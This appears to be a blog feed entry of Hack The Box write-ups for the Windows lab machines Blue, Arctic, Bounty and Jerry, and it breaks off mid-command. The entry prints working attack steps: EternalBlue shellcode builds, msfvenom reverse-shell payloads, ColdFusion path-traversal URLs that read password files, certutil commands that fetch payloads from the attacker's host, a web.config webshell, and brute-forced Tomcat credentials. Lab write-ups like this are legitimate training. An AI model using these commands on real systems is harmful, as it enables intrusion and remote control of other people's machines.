<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Windows on MentalityXt</title><link>http://xtpol.com/tags/windows/</link><description>Recent content in Windows on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Thu, 12 Dec 2024 12:29:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/windows/index.xml" rel="self" type="application/rss+xml"/><item><title>Hack The Box: Windows Box Notes</title><link>http://xtpol.com/p/hackthebox-windows-boxes/</link><pubDate>Thu, 12 Dec 2024 12:29:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-windows-boxes/</guid><description>&lt;h2 id="1blue"&gt;&lt;a href="#1blue" class="header-anchor"&gt;&lt;/a&gt;1.Blue&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Given the box name and everything else, it was pretty clear this was EternalBlue.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t use msf to get a shell, even though msf makes things very convenient.&lt;/p&gt;&#10;&lt;p&gt;So I started looking for exploit tools. There were plenty on ExploitDB and GitHub, but the problem was that none of them were easy to use. The GitHub author said Python 2 worked fine, while Python 3 might not run.&lt;/p&gt;&#10;&lt;p&gt;Then came setting up the Python 2 environment, which was a real pain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install --upgrade setuptools wheel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pycryptodomex ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyOpenSSL==20.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install impacket --no-deps --ignore-installed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the following if the last command above fails to install&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/SecureAuthCorp/impacket.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd impacket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 setup.py install&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the project URL above. I consulted a lot of documentation and downloaded the project to Kali.&lt;/p&gt;&#10;&lt;p&gt;There are several files in the shellcode folder, and the important one is eternalblue_sc_merge.py.&lt;/p&gt;&#10;&lt;p&gt;Following the instructions in eternalblue_sc_merge.py, I generated universal shellcode. The Blue box is actually x64, but I figured I might as well generate a universal one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once sc_all.bin had been generated, the last step was launching the attack. I could use msfconsole as the listener, but I really wanted to use netcat. Using msfconsole just to listen should be fine, and I could probably have called it done there: the OSCP rules say you can&amp;rsquo;t use msf for attacks, but using it as a listener shouldn&amp;rsquo;t be a major issue. Still, to be rigorous, I decided to do it with pure netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc couldn&amp;rsquo;t catch the connection with the method above.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;An improved version of the project: &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read through the project&amp;rsquo;s issues, and the author had apparently improved the program back in 2018.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But in reality, I wasted a lot of time here. It wasn&amp;rsquo;t properly fixed at all, and I just kept testing it.&lt;/p&gt;&#10;&lt;p&gt;So I went back to the original GitHub project: &lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It turned out that all I needed to do was change the module msfvenom used to generate the payload.&lt;/p&gt;&#10;&lt;p&gt;But the payload generated by the improved project at &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt; kept having problems. After reading shell_prep.sh, I found that entering 1 and 1 for the next two prompts was basically no different from the commands above, yet it still didn&amp;rsquo;t work. So I&amp;rsquo;m shelving this project for now.&lt;/p&gt;&#10;&lt;p&gt;The corrected commands finally gave me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell dropped me straight in as SYSTEM, and the flags were right there on the user and administrators desktops. That&amp;rsquo;s it for this box.&lt;/p&gt;&#10;&lt;p&gt;Below are the blogs and other references I used. They were pretty helpful. EternalBlue is one of the most basic things beginners learn, but I&amp;rsquo;d never really looked into how it works under the hood and had only ever used msfconsole to attack it. Using a Python script this time definitely felt different.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/" target="_blank" rel="noopener"&#10; &gt;https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/a6avind/MS17-010/blob/master/README.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/a6avind/MS17-010/blob/master/README.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="2arctic"&gt;&lt;a href="#2arctic" class="header-anchor"&gt;&lt;/a&gt;2.Arctic&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find any exploitable vulnerabilities in rpc, so I took a look at the service on port 8500 and found the framework and version: Adobe ColdFusion 8.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up an arbitrary file read vulnerability.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Read the password:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had the password too, which gave me more access. At this point, it was time to look for an RCE exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/50057" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/50057&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At a glance, this was clearly an exploit written specifically for this box. The setup was extremely similar, and since it was written in 2021, it was basically a walkthrough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it got me a shell as well.&lt;/p&gt;&#10;&lt;p&gt;This was the only exploit I could find at the time, but after reading through the code, it was actually very simple. The file upload endpoint did not require authentication, so the exploit sent a request to upload a jsp file. It then started two threads: one listened for a connection while the other visited the jsp, which sent a reverse shell back.&lt;/p&gt;&#10;&lt;p&gt;Next came privilege escalation. Before trying that, I started gathering information. As long as you can get the systeminfo output, you can use the script below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester" target="_blank" rel="noopener"&#10; &gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I ran into a small issue with this script too, but pinning the version fixed it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;pip2 install xlrd==1.2.0&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were plenty of privilege-escalation vulnerabilities, so I just needed to pick one.&lt;/p&gt;&#10;&lt;p&gt;I found this GitHub repository:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecWiki/windows-kernel-exploits&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After trying them one by one, I found that MS10-059 worked. Download MS10-059.exe and transfer it to the Windows target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Arctic/MS10-059.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Arctic/MS10-059.exe&lt;/a&gt; .\MS10-059.exe&lt;/p&gt;&#10;&lt;p&gt;Following the tutorial for MS10-059.exe, run:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;MS10-059.exe 10.10.16.3 5555&lt;/p&gt;&#10;&lt;p&gt;nc-lvnp 5555&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That&amp;rsquo;s all it takes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. The first two boxes I&amp;rsquo;ve completed so far were probably meant to get me familiar with the most basic Windows penetration-testing techniques. I expect they will get harder from here.&lt;/p&gt;&#10;&lt;h2 id="3bounty"&gt;&lt;a href="#3bounty" class="header-anchor"&gt;&lt;/a&gt;3.Bounty&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one port open. Opening it showed nothing but an image and a hint that the site was running IIS 7—and it really was IIS 7.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then started fuzzing for directories while also checking the image for steganography and other possible information leaks.&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up in the image afterward.&lt;/p&gt;&#10;&lt;p&gt;The fuzzing uncovered a directory and an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint allowed file uploads, but it seemed to use a whitelist, so many file types could not be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;1355 indicated that the upload had failed. I tried all sorts of bypasses and IIS 7.0 file-parsing vulnerabilities—even ones that were not for 7.0.&lt;/p&gt;&#10;&lt;p&gt;None of them worked. This was genuinely a blind spot for me, so I peeked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that we needed to fuzz the file extensions. I found a wordlist I had put on Kali a month earlier.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Besides the usual extensions, fuzzing revealed that files with the config extension could be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/aspx/web.config" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/aspx/web.config&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found a way to get a shell. Although I had never learned .NET, I could still tell at a glance how to use this file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just access the endpoint and pass the command as ?cmd=dir.&lt;/p&gt;&#10;&lt;p&gt;After uploading it, I visited &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=whoami" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=whoami&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the flag first: &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:%5cusers%5cmerlin%5cDesktop%5cuser.txt" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I then tried to get an interactive shell. I uploaded nc, but it failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Better to keep it simple: upload a backdoor generated with msfvenom and chain the commands together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. I could barely find any of the other reverse-shell methods I had just tried, and the few I did find did not work. Looks like I won&amp;rsquo;t be able to live without msfvenom for reverse shells from now on.&lt;/p&gt;&#10;&lt;p&gt;As usual, I started with systeminfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ms10-059 still worked, so I gave it another shot.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation was just like what I had learned earlier: if a ready-made exploit exists, use it. As for getting a shell, I was not very familiar with ASPX, so I kept trying IIS parsing vulnerabilities, upload bypasses, and a whole string of other tricks. I had gone completely down the wrong path and never found the web.config exploit. Once I learned about it afterward, though, things became much easier. I had only just started working through Windows boxes, and this one was a pretty reasonable difficulty level.&lt;/p&gt;&#10;&lt;h2 id="4jerry"&gt;&lt;a href="#4jerry" class="header-anchor"&gt;&lt;/a&gt;4.Jerry&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The tomcat version is there too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a payload for that version, but it failed. Trying it manually didn&amp;rsquo;t work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s brute-force the manager login.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_53008479/article/details/124865806" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_53008479/article/details/124865806&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;tomcat:s3cret&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The login worked, and I made it into the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw &amp;gt; ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 